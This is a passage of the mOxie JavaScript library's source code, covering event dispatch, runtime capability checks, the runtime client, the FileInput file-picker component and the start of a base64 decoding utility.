			@param {Function} fn Callback function that will be called when event happens
			@param {Number} [priority=0] Priority of the event handler - handlers with higher priorities will be called first
			@param {Object} [scope=this] A scope to invoke event handler in
			*/
			addEventListener: function(type, fn, priority, scope) {
				var self = this, list;

				// without uid no event handlers can be added, so make sure we got one
				if (!this.hasOwnProperty('uid')) {
					this.uid = Basic.guid('uid_');
				}
				
				type = Basic.trim(type);
				
				if (/\s/.test(type)) {
					// multiple event types were passed for one handler
					Basic.each(type.split(/\s+/), function(type) {
						self.addEventListener(type, fn, priority, scope);
					});
					return;
				}
				
				type = type.toLowerCase();
				priority = parseInt(priority, 10) || 0;
				
				list = eventpool[this.uid] && eventpool[this.uid][type] || [];
				list.push({fn : fn, priority : priority, scope : scope || this});
				
				if (!eventpool[this.uid]) {
					eventpool[this.uid] = {};
				}
				eventpool[this.uid][type] = list;
			},
			
			/**
			Check if any handlers were registered to the specified event

			@method hasEventListener
			@param {String} type Type or basically a name of the event to check
			@return {Mixed} Returns a handler if it was found and false, if - not
			*/
			hasEventListener: function(type) {
				var list = type ? eventpool[this.uid] && eventpool[this.uid][type] : eventpool[this.uid];
				return list ? list : false;
			},
			
			/**
			Unregister the handler from the event, or if former was not specified - unregister all handlers

			@method removeEventListener
			@param {String} type Type or basically a name of the event
			@param {Function} [fn] Handler to unregister
			*/
			removeEventListener: function(type, fn) {
				type = type.toLowerCase();
	
				var list = eventpool[this.uid] && eventpool[this.uid][type], i;
	
				if (list) {
					if (fn) {
						for (i = list.length - 1; i >= 0; i--) {
							if (list[i].fn === fn) {
								list.splice(i, 1);
								break;
							}
						}
					} else {
						list = [];
					}
	
					// delete event list if it has become empty
					if (!list.length) {
						delete eventpool[this.uid][type];
						
						// and object specific entry in a hash if it has no more listeners attached
						if (Basic.isEmptyObj(eventpool[this.uid])) {
							delete eventpool[this.uid];
						}
					}
				}
			},
			
			/**
			Remove all event handlers from the object

			@method removeAllEventListeners
			*/
			removeAllEventListeners: function() {
				if (eventpool[this.uid]) {
					delete eventpool[this.uid];
				}
			},
			
			/**
			Dispatch the event

			@method dispatchEvent
			@param {String/Object} Type of event or event object to dispatch
			@param {Mixed} [...] Variable number of arguments to be passed to a handlers
			@return {Boolean} true by default and false if any handler returned false
			*/
			dispatchEvent: function(type) {
				var uid, list, args, tmpEvt, evt = {}, result = true, undef;
				
				if (Basic.typeOf(type) !== 'string') {
					// we can't use original object directly (because of Silverlight)
					tmpEvt = type;

					if (Basic.typeOf(tmpEvt.type) === 'string') {
						type = tmpEvt.type;

						if (tmpEvt.total !== undef && tmpEvt.loaded !== undef) { // progress event
							evt.total = tmpEvt.total;
							evt.loaded = tmpEvt.loaded;
						}
						evt.async = tmpEvt.async || false;
					} else {
						throw new x.EventException(x.EventException.UNSPECIFIED_EVENT_TYPE_ERR);
					}
				}
				
				// check if event is meant to be dispatched on an object having specific uid
				if (type.indexOf('::') !== -1) {
					(function(arr) {
						uid = arr[0];
						type = arr[1];
					}(type.split('::')));
				} else {
					uid = this.uid;
				}
				
				type = type.toLowerCase();
								
				list = eventpool[uid] && eventpool[uid][type];

				if (list) {
					// sort event list by prority
					list.sort(function(a, b) { return b.priority - a.priority; });
					
					args = [].slice.call(arguments);
					
					// first argument will be pseudo-event object
					args.shift();
					evt.type = type;
					args.unshift(evt);

					if (MXI_DEBUG && Env.debug.events) {
						Env.log("Event '%s' fired on %u", evt.type, uid);	
					}

					// Dispatch event to all listeners
					var queue = [];
					Basic.each(list, function(handler) {
						// explicitly set the target, otherwise events fired from shims do not get it
						args[0].target = handler.scope;
						// if event is marked as async, detach the handler
						if (evt.async) {
							queue.push(function(cb) {
								setTimeout(function() {
									cb(handler.fn.apply(handler.scope, args) === false);
								}, 1);
							});
						} else {
							queue.push(function(cb) {
								cb(handler.fn.apply(handler.scope, args) === false); // if handler returns false stop propagation
							});
						}
					});
					if (queue.length) {
						Basic.inSeries(queue, function(err) {
							result = !err;
						});
					}
				}
				return result;
			},
			
			/**
			Alias for addEventListener

			@method bind
			@protected
			*/
			bind: function() {
				this.addEventListener.apply(this, arguments);
			},
			
			/**
			Alias for removeEventListener

			@method unbind
			@protected
			*/
			unbind: function() {
				this.removeEventListener.apply(this, arguments);
			},
			
			/**
			Alias for removeAllEventListeners

			@method unbindAll
			@protected
			*/
			unbindAll: function() {
				this.removeAllEventListeners.apply(this, arguments);
			},
			
			/**
			Alias for dispatchEvent

			@method trigger
			@protected
			*/
			trigger: function() {
				return this.dispatchEvent.apply(this, arguments);
			},
			

			/**
			Handle properties of on[event] type.

			@method handleEventProps
			@private
			*/
			handleEventProps: function(dispatches) {
				var self = this;

				this.bind(dispatches.join(' '), function(e) {
					var prop = 'on' + e.type.toLowerCase();
					if (Basic.typeOf(this[prop]) === 'function') {
						this[prop].apply(this, arguments);
					}
				});

				// object must have defined event properties, even if it doesn't make use of them
				Basic.each(dispatches, function(prop) {
					prop = 'on' + prop.toLowerCase(prop);
					if (Basic.typeOf(self[prop]) === 'undefined') {
						self[prop] = null; 
					}
				});
			}
			
		});
	}

	EventTarget.instance = new EventTarget(); 

	return EventTarget;
});

// Included from: src/javascript/runtime/Runtime.js

/**
 * Runtime.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/runtime/Runtime', [
	"moxie/core/utils/Env",
	"moxie/core/utils/Basic",
	"moxie/core/utils/Dom",
	"moxie/core/EventTarget"
], function(Env, Basic, Dom, EventTarget) {
	var runtimeConstructors = {}, runtimes = {};

	/**
	Common set of methods and properties for every runtime instance

	@class Runtime

	@param {Object} options
	@param {String} type Sanitized name of the runtime
	@param {Object} [caps] Set of capabilities that differentiate specified runtime
	@param {Object} [modeCaps] Set of capabilities that do require specific operational mode
	@param {String} [preferredMode='browser'] Preferred operational mode to choose if no required capabilities were requested
	*/
	function Runtime(options, type, caps, modeCaps, preferredMode) {
		/**
		Dispatched when runtime is initialized and ready.
		Results in RuntimeInit on a connected component.

		@event Init
		*/

		/**
		Dispatched when runtime fails to initialize.
		Results in RuntimeError on a connected component.

		@event Error
		*/

		var self = this
		, _shim
		, _uid = Basic.guid(type + '_')
		, defaultMode = preferredMode || 'browser'
		;

		options = options || {};

		// register runtime in private hash
		runtimes[_uid] = this;

		/**
		Default set of capabilities, which can be redifined later by specific runtime

		@private
		@property caps
		@type Object
		*/
		caps = Basic.extend({
			// Runtime can: 
			// provide access to raw binary data of the file
			access_binary: false,
			// provide access to raw binary data of the image (image extension is optional) 
			access_image_binary: false,
			// display binary data as thumbs for example
			display_media: false,
			// make cross-domain requests
			do_cors: false,
			// accept files dragged and dropped from the desktop
			drag_and_drop: false,
			// filter files in selection dialog by their extensions
			filter_by_extension: true,
			// resize image (and manipulate it raw data of any file in general)
			resize_image: false,
			// periodically report how many bytes of total in the file were uploaded (loaded)
			report_upload_progress: false,
			// provide access to the headers of http response 
			return_response_headers: false,
			// support response of specific type, which should be passed as an argument
			// e.g. runtime.can('return_response_type', 'blob')
			return_response_type: false,
			// return http status code of the response
			return_status_code: true,
			// send custom http header with the request
			send_custom_headers: false,
			// pick up the files from a dialog
			select_file: false,
			// select whole folder in file browse dialog
			select_folder: false,
			// select multiple files at once in file browse dialog
			select_multiple: true,
			// send raw binary data, that is generated after image resizing or manipulation of other kind
			send_binary_string: false,
			// send cookies with http request and therefore retain session
			send_browser_cookies: true,
			// send data formatted as multipart/form-data
			send_multipart: true,
			// slice the file or blob to smaller parts
			slice_blob: false,
			// upload file without preloading it to memory, stream it out directly from disk
			stream_upload: false,
			// programmatically trigger file browse dialog
			summon_file_dialog: false,
			// upload file of specific size, size should be passed as argument
			// e.g. runtime.can('upload_filesize', '500mb')
			upload_filesize: true,
			// initiate http request with specific http method, method should be passed as argument
			// e.g. runtime.can('use_http_method', 'put')
			use_http_method: true
		}, caps);
			
	
		// default to the mode that is compatible with preferred caps
		if (options.preferred_caps) {
			defaultMode = Runtime.getMode(modeCaps, options.preferred_caps, defaultMode);
		}

		if (MXI_DEBUG && Env.debug.runtime) {
			Env.log("\tdefault mode: %s", defaultMode);	
		}
		
		// small extension factory here (is meant to be extended with actual extensions constructors)
		_shim = (function() {
			var objpool = {};
			return {
				exec: function(uid, comp, fn, args) {
					if (_shim[comp]) {
						if (!objpool[uid]) {
							objpool[uid] = {
								context: this,
								instance: new _shim[comp]()
							};
						}
						if (objpool[uid].instance[fn]) {
							return objpool[uid].instance[fn].apply(this, args);
						}
					}
				},

				removeInstance: function(uid) {
					delete objpool[uid];
				},

				removeAllInstances: function() {
					var self = this;
					Basic.each(objpool, function(obj, uid) {
						if (Basic.typeOf(obj.instance.destroy) === 'function') {
							obj.instance.destroy.call(obj.context);
						}
						self.removeInstance(uid);
					});
				}
			};
		}());


		// public methods
		Basic.extend(this, {
			/**
			Specifies whether runtime instance was initialized or not

			@property initialized
			@type {Boolean}
			@default false
			*/
			initialized: false, // shims require this flag to stop initialization retries

			/**
			Unique ID of the runtime

			@property uid
			@type {String}
			*/
			uid: _uid,

			/**
			Runtime type (e.g. flash, html5, etc)

			@property type
			@type {String}
			*/
			type: type,

			/**
			Runtime (not native one) may operate in browser or client mode.

			@property mode
			@private
			@type {String|Boolean} current mode or false, if none possible
			*/
			mode: Runtime.getMode(modeCaps, (options.required_caps), defaultMode),

			/**
			id of the DOM container for the runtime (if available)

			@property shimid
			@type {String}
			*/
			shimid: _uid + '_container',

			/**
			Number of connected clients. If equal to zero, runtime can be destroyed

			@property clients
			@type {Number}
			*/
			clients: 0,

			/**
			Runtime initialization options

			@property options
			@type {Object}
			*/
			options: options,

			/**
			Checks if the runtime has specific capability

			@method can
			@param {String} cap Name of capability to check
			@param {Mixed} [value] If passed, capability should somehow correlate to the value
			@param {Object} [refCaps] Set of capabilities to check the specified cap against (defaults to internal set)
			@return {Boolean} true if runtime has such capability and false, if - not
			*/
			can: function(cap, value) {
				var refCaps = arguments[2] || caps;

				// if cap var is a comma-separated list of caps, convert it to object (key/value)
				if (Basic.typeOf(cap) === 'string' && Basic.typeOf(value) === 'undefined') {
					cap = Runtime.parseCaps(cap);
				}

				if (Basic.typeOf(cap) === 'object') {
					for (var key in cap) {
						if (!this.can(key, cap[key], refCaps)) {
							return false;
						}
					}
					return true;
				}

				// check the individual cap
				if (Basic.typeOf(refCaps[cap]) === 'function') {
					return refCaps[cap].call(this, value);
				} else {
					return (value === refCaps[cap]);
				}
			},

			/**
			Returns container for the runtime as DOM element

			@method getShimContainer
			@return {DOMElement}
			*/
			getShimContainer: function() {
				var container, shimContainer = Dom.get(this.shimid);

				// if no container for shim, create one
				if (!shimContainer) {
					container = this.options.container ? Dom.get(this.options.container) : document.body;

					// create shim container and insert it at an absolute position into the outer container
					shimContainer = document.createElement('div');
					shimContainer.id = this.shimid;
					shimContainer.className = 'moxie-shim moxie-shim-' + this.type;

					Basic.extend(shimContainer.style, {
						position: 'absolute',
						top: '0px',
						left: '0px',
						width: '1px',
						height: '1px',
						overflow: 'hidden'
					});

					container.appendChild(shimContainer);
					container = null;
				}

				return shimContainer;
			},

			/**
			Returns runtime as DOM element (if appropriate)

			@method getShim
			@return {DOMElement}
			*/
			getShim: function() {
				return _shim;
			},

			/**
			Invokes a method within the runtime itself (might differ across the runtimes)

			@method shimExec
			@param {Mixed} []
			@protected
			@return {Mixed} Depends on the action and component
			*/
			shimExec: function(component, action) {
				var args = [].slice.call(arguments, 2);
				return self.getShim().exec.call(this, this.uid, component, action, args);
			},

			/**
			Operaional interface that is used by components to invoke specific actions on the runtime
			(is invoked in the scope of component)

			@method exec
			@param {Mixed} []*
			@protected
			@return {Mixed} Depends on the action and component
			*/
			exec: function(component, action) { // this is called in the context of component, not runtime
				var args = [].slice.call(arguments, 2);

				if (self[component] && self[component][action]) {
					return self[component][action].apply(this, args);
				}
				return self.shimExec.apply(this, arguments);
			},

			/**
			Destroys the runtime (removes all events and deletes DOM structures)

			@method destroy
			*/
			destroy: function() {
				if (!self) {
					return; // obviously already destroyed
				}

				var shimContainer = Dom.get(this.shimid);
				if (shimContainer) {
					shimContainer.parentNode.removeChild(shimContainer);
				}

				if (_shim) {
					_shim.removeAllInstances();
				}

				this.unbindAll();
				delete runtimes[this.uid];
				this.uid = null; // mark this runtime as destroyed
				_uid = self = _shim = shimContainer = null;
			}
		});

		// once we got the mode, test against all caps
		if (this.mode && options.required_caps && !this.can(options.required_caps)) {
			this.mode = false;
		}	
	}


	/**
	Default order to try different runtime types

	@property order
	@type String
	@static
	*/
	Runtime.order = 'html5,html4';


	/**
	Retrieves runtime from private hash by it's uid

	@method getRuntime
	@private
	@static
	@param {String} uid Unique identifier of the runtime
	@return {Runtime|Boolean} Returns runtime, if it exists and false, if - not
	*/
	Runtime.getRuntime = function(uid) {
		return runtimes[uid] ? runtimes[uid] : false;
	};


	/**
	Register constructor for the Runtime of new (or perhaps modified) type

	@method addConstructor
	@static
	@param {String} type Runtime type (e.g. flash, html5, etc)
	@param {Function} construct Constructor for the Runtime type
	*/
	Runtime.addConstructor = function(type, constructor) {
		constructor.prototype = EventTarget.instance;
		runtimeConstructors[type] = constructor;
	};


	/**
	Get the constructor for the specified type.

	method getConstructor
	@static
	@param {String} type Runtime type (e.g. flash, html5, etc)
	@return {Function} Constructor for the Runtime type
	*/
	Runtime.getConstructor = function(type) {
		return runtimeConstructors[type] || null;
	};


	/**
	Get info about the runtime (uid, type, capabilities)

	@method getInfo
	@static
	@param {String} uid Unique identifier of the runtime
	@return {Mixed} Info object or null if runtime doesn't exist
	*/
	Runtime.getInfo = function(uid) {
		var runtime = Runtime.getRuntime(uid);

		if (runtime) {
			return {
				uid: runtime.uid,
				type: runtime.type,
				mode: runtime.mode,
				can: function() {
					return runtime.can.apply(runtime, arguments);
				}
			};
		}
		return null;
	};


	/**
	Convert caps represented by a comma-separated string to the object representation.

	@method parseCaps
	@static
	@param {String} capStr Comma-separated list of capabilities
	@return {Object}
	*/
	Runtime.parseCaps = function(capStr) {
		var capObj = {};

		if (Basic.typeOf(capStr) !== 'string') {
			return capStr || {};
		}

		Basic.each(capStr.split(','), function(key) {
			capObj[key] = true; // we assume it to be - true
		});

		return capObj;
	};

	/**
	Test the specified runtime for specific capabilities.

	@method can
	@static
	@param {String} type Runtime type (e.g. flash, html5, etc)
	@param {String|Object} caps Set of capabilities to check
	@return {Boolean} Result of the test
	*/
	Runtime.can = function(type, caps) {
		var runtime
		, constructor = Runtime.getConstructor(type)
		, mode
		;
		if (constructor) {
			runtime = new constructor({
				required_caps: caps
			});
			mode = runtime.mode;
			runtime.destroy();
			return !!mode;
		}
		return false;
	};


	/**
	Figure out a runtime that supports specified capabilities.

	@method thatCan
	@static
	@param {String|Object} caps Set of capabilities to check
	@param {String} [runtimeOrder] Comma-separated list of runtimes to check against
	@return {String} Usable runtime identifier or null
	*/
	Runtime.thatCan = function(caps, runtimeOrder) {
		var types = (runtimeOrder || Runtime.order).split(/\s*,\s*/);
		for (var i in types) {
			if (Runtime.can(types[i], caps)) {
				return types[i];
			}
		}
		return null;
	};


	/**
	Figure out an operational mode for the specified set of capabilities.

	@method getMode
	@static
	@param {Object} modeCaps Set of capabilities that depend on particular runtime mode
	@param {Object} [requiredCaps] Supplied set of capabilities to find operational mode for
	@param {String|Boolean} [defaultMode='browser'] Default mode to use 
	@return {String|Boolean} Compatible operational mode
	*/
	Runtime.getMode = function(modeCaps, requiredCaps, defaultMode) {
		var mode = null;

		if (Basic.typeOf(defaultMode) === 'undefined') { // only if not specified
			defaultMode = 'browser';
		}

		if (requiredCaps && !Basic.isEmptyObj(modeCaps)) {
			// loop over required caps and check if they do require the same mode
			Basic.each(requiredCaps, function(value, cap) {
				if (modeCaps.hasOwnProperty(cap)) {
					var capMode = modeCaps[cap](value);

					// make sure we always have an array
					if (typeof(capMode) === 'string') {
						capMode = [capMode];
					}
					
					if (!mode) {
						mode = capMode;						
					} else if (!(mode = Basic.arrayIntersect(mode, capMode))) {
						// if cap requires conflicting mode - runtime cannot fulfill required caps

						if (MXI_DEBUG && Env.debug.runtime) {
							Env.log("\t\t%c: %v (conflicting mode requested: %s)", cap, value, capMode);	
						}

						return (mode = false);
					}					
				}

				if (MXI_DEBUG && Env.debug.runtime) {
					Env.log("\t\t%c: %v (compatible modes: %s)", cap, value, mode);	
				}
			});

			if (mode) {
				return Basic.inArray(defaultMode, mode) !== -1 ? defaultMode : mode[0];
			} else if (mode === false) {
				return false;
			}
		}
		return defaultMode; 
	};


	/**
	Capability check that always returns true

	@private
	@static
	@return {True}
	*/
	Runtime.capTrue = function() {
		return true;
	};

	/**
	Capability check that always returns false

	@private
	@static
	@return {False}
	*/
	Runtime.capFalse = function() {
		return false;
	};

	/**
	Evaluate the expression to boolean value and create a function that always returns it.

	@private
	@static
	@param {Mixed} expr Expression to evaluate
	@return {Function} Function returning the result of evaluation
	*/
	Runtime.capTest = function(expr) {
		return function() {
			return !!expr;
		};
	};

	return Runtime;
});

// Included from: src/javascript/runtime/RuntimeClient.js

/**
 * RuntimeClient.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/runtime/RuntimeClient', [
	'moxie/core/utils/Env',
	'moxie/core/Exceptions',
	'moxie/core/utils/Basic',
	'moxie/runtime/Runtime'
], function(Env, x, Basic, Runtime) {
	/**
	Set of methods and properties, required by a component to acquire ability to connect to a runtime

	@class RuntimeClient
	*/
	return function RuntimeClient() {
		var runtime;

		Basic.extend(this, {
			/**
			Connects to the runtime specified by the options. Will either connect to existing runtime or create a new one.
			Increments number of clients connected to the specified runtime.

			@private
			@method connectRuntime
			@param {Mixed} options Can be a runtme uid or a set of key-value pairs defining requirements and pre-requisites
			*/
			connectRuntime: function(options) {
				var comp = this, ruid;

				function initialize(items) {
					var type, constructor;

					// if we ran out of runtimes
					if (!items.length) {
						comp.trigger('RuntimeError', new x.RuntimeError(x.RuntimeError.NOT_INIT_ERR));
						runtime = null;
						return;
					}

					type = items.shift().toLowerCase();
					constructor = Runtime.getConstructor(type);
					if (!constructor) {
						initialize(items);
						return;
					}

					if (MXI_DEBUG && Env.debug.runtime) {
						Env.log("Trying runtime: %s", type);
						Env.log(options);
					}

					// try initializing the runtime
					runtime = new constructor(options);

					runtime.bind('Init', function() {
						// mark runtime as initialized
						runtime.initialized = true;

						if (MXI_DEBUG && Env.debug.runtime) {
							Env.log("Runtime '%s' initialized", runtime.type);
						}

						// jailbreak ...
						setTimeout(function() {
							runtime.clients++;
							// this will be triggered on component
							comp.trigger('RuntimeInit', runtime);
						}, 1);
					});

					runtime.bind('Error', function() {
						if (MXI_DEBUG && Env.debug.runtime) {
							Env.log("Runtime '%s' failed to initialize", runtime.type);
						}

						runtime.destroy(); // runtime cannot destroy itself from inside at a right moment, thus we do it here
						initialize(items);
					});

					/*runtime.bind('Exception', function() { });*/

					if (MXI_DEBUG && Env.debug.runtime) {
						Env.log("\tselected mode: %s", runtime.mode);	
					}

					// check if runtime managed to pick-up operational mode
					if (!runtime.mode) {
						runtime.trigger('Error');
						return;
					}

					runtime.init();
				}

				// check if a particular runtime was requested
				if (Basic.typeOf(options) === 'string') {
					ruid = options;
				} else if (Basic.typeOf(options.ruid) === 'string') {
					ruid = options.ruid;
				}

				if (ruid) {
					runtime = Runtime.getRuntime(ruid);
					if (runtime) {
						runtime.clients++;
						return runtime;
					} else {
						// there should be a runtime and there's none - weird case
						throw new x.RuntimeError(x.RuntimeError.NOT_INIT_ERR);
					}
				}

				// initialize a fresh one, that fits runtime list and required features best
				initialize((options.runtime_order || Runtime.order).split(/\s*,\s*/));
			},


			/**
			Disconnects from the runtime. Decrements number of clients connected to the specified runtime.

			@private
			@method disconnectRuntime
			*/
			disconnectRuntime: function() {
				if (runtime && --runtime.clients <= 0) {
					runtime.destroy();
				}

				// once the component is disconnected, it shouldn't have access to the runtime
				runtime = null;
			},


			/**
			Returns the runtime to which the client is currently connected.

			@method getRuntime
			@return {Runtime} Runtime or null if client is not connected
			*/
			getRuntime: function() {
				if (runtime && runtime.uid) {
					return runtime;
				}
				return runtime = null; // make sure we do not leave zombies rambling around
			},


			/**
			Handy shortcut to safely invoke runtime extension methods.
			
			@private
			@method exec
			@return {Mixed} Whatever runtime extension method returns
			*/
			exec: function() {
				if (runtime) {
					return runtime.exec.apply(this, arguments);
				}
				return null;
			}

		});
	};


});

// Included from: src/javascript/file/FileInput.js

/**
 * FileInput.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/file/FileInput', [
	'moxie/core/utils/Basic',
	'moxie/core/utils/Env',
	'moxie/core/utils/Mime',
	'moxie/core/utils/Dom',
	'moxie/core/Exceptions',
	'moxie/core/EventTarget',
	'moxie/core/I18n',
	'moxie/runtime/Runtime',
	'moxie/runtime/RuntimeClient'
], function(Basic, Env, Mime, Dom, x, EventTarget, I18n, Runtime, RuntimeClient) {
	/**
	Provides a convenient way to create cross-browser file-picker. Generates file selection dialog on click,
	converts selected files to _File_ objects, to be used in conjunction with _Image_, preloaded in memory
	with _FileReader_ or uploaded to a server through _XMLHttpRequest_.

	@class FileInput
	@constructor
	@extends EventTarget
	@uses RuntimeClient
	@param {Object|String|DOMElement} options If options is string or node, argument is considered as _browse\_button_.
		@param {String|DOMElement} options.browse_button DOM Element to turn into file picker.
		@param {Array} [options.accept] Array of mime types to accept. By default accepts all.
		@param {String} [options.file='file'] Name of the file field (not the filename).
		@param {Boolean} [options.multiple=false] Enable selection of multiple files.
		@param {Boolean} [options.directory=false] Turn file input into the folder input (cannot be both at the same time).
		@param {String|DOMElement} [options.container] DOM Element to use as a container for file-picker. Defaults to parentNode 
		for _browse\_button_.
		@param {Object|String} [options.required_caps] Set of required capabilities, that chosen runtime must support.

	@example
		<div id="container">
			<a id="file-picker" href="javascript:;">Browse...</a>
		</div>

		<script>
			var fileInput = new mOxie.FileInput({
				browse_button: 'file-picker', // or document.getElementById('file-picker')
				container: 'container',
				accept: [
					{title: "Image files", extensions: "jpg,gif,png"} // accept only images
				],
				multiple: true // allow multiple file selection
			});

			fileInput.onchange = function(e) {
				// do something to files array
				console.info(e.target.files); // or this.files or fileInput.files
			};

			fileInput.init(); // initialize
		</script>
	*/
	var dispatches = [
		/**
		Dispatched when runtime is connected and file-picker is ready to be used.

		@event ready
		@param {Object} event
		*/
		'ready',

		/**
		Dispatched right after [ready](#event_ready) event, and whenever [refresh()](#method_refresh) is invoked. 
		Check [corresponding documentation entry](#method_refresh) for more info.

		@event refresh
		@param {Object} event
		*/

		/**
		Dispatched when selection of files in the dialog is complete.

		@event change
		@param {Object} event
		*/
		'change',

		'cancel', // TODO: might be useful

		/**
		Dispatched when mouse cursor enters file-picker area. Can be used to style element
		accordingly.

		@event mouseenter
		@param {Object} event
		*/
		'mouseenter',

		/**
		Dispatched when mouse cursor leaves file-picker area. Can be used to style element
		accordingly.

		@event mouseleave
		@param {Object} event
		*/
		'mouseleave',

		/**
		Dispatched when functional mouse button is pressed on top of file-picker area.

		@event mousedown
		@param {Object} event
		*/
		'mousedown',

		/**
		Dispatched when functional mouse button is released on top of file-picker area.

		@event mouseup
		@param {Object} event
		*/
		'mouseup'
	];

	function FileInput(options) {
		if (MXI_DEBUG) {
			Env.log("Instantiating FileInput...");	
		}

		var self = this,
			container, browseButton, defaults;

		// if flat argument passed it should be browse_button id
		if (Basic.inArray(Basic.typeOf(options), ['string', 'node']) !== -1) {
			options = { browse_button : options };
		}

		// this will help us to find proper default container
		browseButton = Dom.get(options.browse_button);
		if (!browseButton) {
			// browse button is required
			throw new x.DOMException(x.DOMException.NOT_FOUND_ERR);
		}

		// figure out the options
		defaults = {
			accept: [{
				title: I18n.translate('All Files'),
				extensions: '*'
			}],
			name: 'file',
			multiple: false,
			required_caps: false,
			container: browseButton.parentNode || document.body
		};
		
		options = Basic.extend({}, defaults, options);

		// convert to object representation
		if (typeof(options.required_caps) === 'string') {
			options.required_caps = Runtime.parseCaps(options.required_caps);
		}
					
		// normalize accept option (could be list of mime types or array of title/extensions pairs)
		if (typeof(options.accept) === 'string') {
			options.accept = Mime.mimes2extList(options.accept);
		}

		container = Dom.get(options.container);
		// make sure we have container
		if (!container) {
			container = document.body;
		}

		// make container relative, if it's not
		if (Dom.getStyle(container, 'position') === 'static') {
			container.style.position = 'relative';
		}

		container = browseButton = null; // IE
						
		RuntimeClient.call(self);
		
		Basic.extend(self, {
			/**
			Unique id of the component

			@property uid
			@protected
			@readOnly
			@type {String}
			@default UID
			*/
			uid: Basic.guid('uid_'),
			
			/**
			Unique id of the connected runtime, if any.

			@property ruid
			@protected
			@type {String}
			*/
			ruid: null,

			/**
			Unique id of the runtime container. Useful to get hold of it for various manipulations.

			@property shimid
			@protected
			@type {String}
			*/
			shimid: null,
			
			/**
			Array of selected mOxie.File objects

			@property files
			@type {Array}
			@default null
			*/
			files: null,

			/**
			Initializes the file-picker, connects it to runtime and dispatches event ready when done.

			@method init
			*/
			init: function() {
				self.bind('RuntimeInit', function(e, runtime) {
					self.ruid = runtime.uid;
					self.shimid = runtime.shimid;

					self.bind("Ready", function() {
						self.trigger("Refresh");
					}, 999);

					// re-position and resize shim container
					self.bind('Refresh', function() {
						var pos, size, browseButton, shimContainer;
						
						browseButton = Dom.get(options.browse_button);
						shimContainer = Dom.get(runtime.shimid); // do not use runtime.getShimContainer(), since it will create container if it doesn't exist

						if (browseButton) {
							pos = Dom.getPos(browseButton, Dom.get(options.container));
							size = Dom.getSize(browseButton);

							if (shimContainer) {
								Basic.extend(shimContainer.style, {
									top     : pos.y + 'px',
									left    : pos.x + 'px',
									width   : size.w + 'px',
									height  : size.h + 'px'
								});
							}
						}
						shimContainer = browseButton = null;
					});
					
					runtime.exec.call(self, 'FileInput', 'init', options);
				});

				// runtime needs: options.required_features, options.runtime_order and options.container
				self.connectRuntime(Basic.extend({}, options, {
					required_caps: {
						select_file: true
					}
				}));
			},

			/**
			Disables file-picker element, so that it doesn't react to mouse clicks.

			@method disable
			@param {Boolean} [state=true] Disable component if - true, enable if - false
			*/
			disable: function(state) {
				var runtime = this.getRuntime();
				if (runtime) {
					runtime.exec.call(this, 'FileInput', 'disable', Basic.typeOf(state) === 'undefined' ? true : state);
				}
			},


			/**
			Reposition and resize dialog trigger to match the position and size of browse_button element.

			@method refresh
			*/
			refresh: function() {
				self.trigger("Refresh");
			},


			/**
			Destroy component.

			@method destroy
			*/
			destroy: function() {
				var runtime = this.getRuntime();
				if (runtime) {
					runtime.exec.call(this, 'FileInput', 'destroy');
					this.disconnectRuntime();
				}

				if (Basic.typeOf(this.files) === 'array') {
					// no sense in leaving associated files behind
					Basic.each(this.files, function(file) {
						file.destroy();
					});
				} 
				this.files = null;

				this.unbindAll();
			}
		});

		this.handleEventProps(dispatches);
	}

	FileInput.prototype = EventTarget.instance;

	return FileInput;
});

// Included from: src/javascript/core/utils/Encode.js

/**
 * Encode.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/core/utils/Encode', [], function() {

	/**
	Encode string with UTF-8

	@method utf8_encode
	@for Utils
	@static
	@param {String} str String to encode
	@return {String} UTF-8 encoded string
	*/
	var utf8_encode = function(str) {
		return unescape(encodeURIComponent(str));
	};
	
	/**
	Decode UTF-8 encoded string

	@method utf8_decode
	@static
	@param {String} str String to decode
	@return {String} Decoded string
	*/
	var utf8_decode = function(str_data) {
		return decodeURIComponent(escape(str_data));
	};
	
	/**
	Decode Base64 encoded string (uses browser's default method if available),
	from: https://raw.github.com/kvz/phpjs/master/functions/url/base64_decode.js

	@method atob
	@static
	@param {String} data String to decode
	@return {String} Decoded string
	*/
	var atob = function(data, utf8) {
		if (typeof(window.atob) === 'function') {
			return utf8 ? utf8_decode(window.atob(data)) : window.atob(data);
		}

		// http://kevin.vanzonneveld.net
		// +   original by: Tyler Akins (http://rumkin.com)
		// +   improved by: Thunder.m
		// +      input by: Aman Gupta
		// +   improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
		// +   bugfixed by: Onno Marsman
		// +   bugfixed by: Pellentesque Malesuada
		// +   improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
		// +      input by: Brett Zamir (http://brett-zamir.me)
		// +   bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
		// *     example 1: base64_decode('S2V2aW4gdmFuIFpvbm5ldmVsZA==');
		// *     returns 1: 'Kevin van Zonneveld'
		// mozilla has this native
		// - but breaks in 2.0.0.12!
		//if (typeof this.window.atob == 'function') {
		//    return atob(data);
		//}
		var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
		var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
			ac = 0,
			dec = "",
			tmp_arr = [];

		if (!data) {
			return data;
		}

		data += '';

		do { // unpack four hexets into three octets using index points in b64
			h1 = b64.indexOf(data.charAt(i++));
			h2 = b64.indexOf(data.charAt(i++));
			h3 = b64.indexOf(data.charAt(i++));
			h4 = b64.indexOf(data.charAt(i++));

			bits = h1 << 18 | h2 << 12 | h3 << 6 | h4;

			o1 = bits >> 16 & 0xff;
			o2 = bits >> 8 & 0xff;
			o3 = bits & 0xff;

			if (h3 == 64) {
				tmp_arr[ac++] = String.fromCharCode(o1);
			} else if (h4 == 64) {
				tmp_arr[ac++] = String.fromCharCode(o1, o2);
			} else {
				tmp_arr[ac++] = String.fromCharCode(o1, o2, o3);
			}
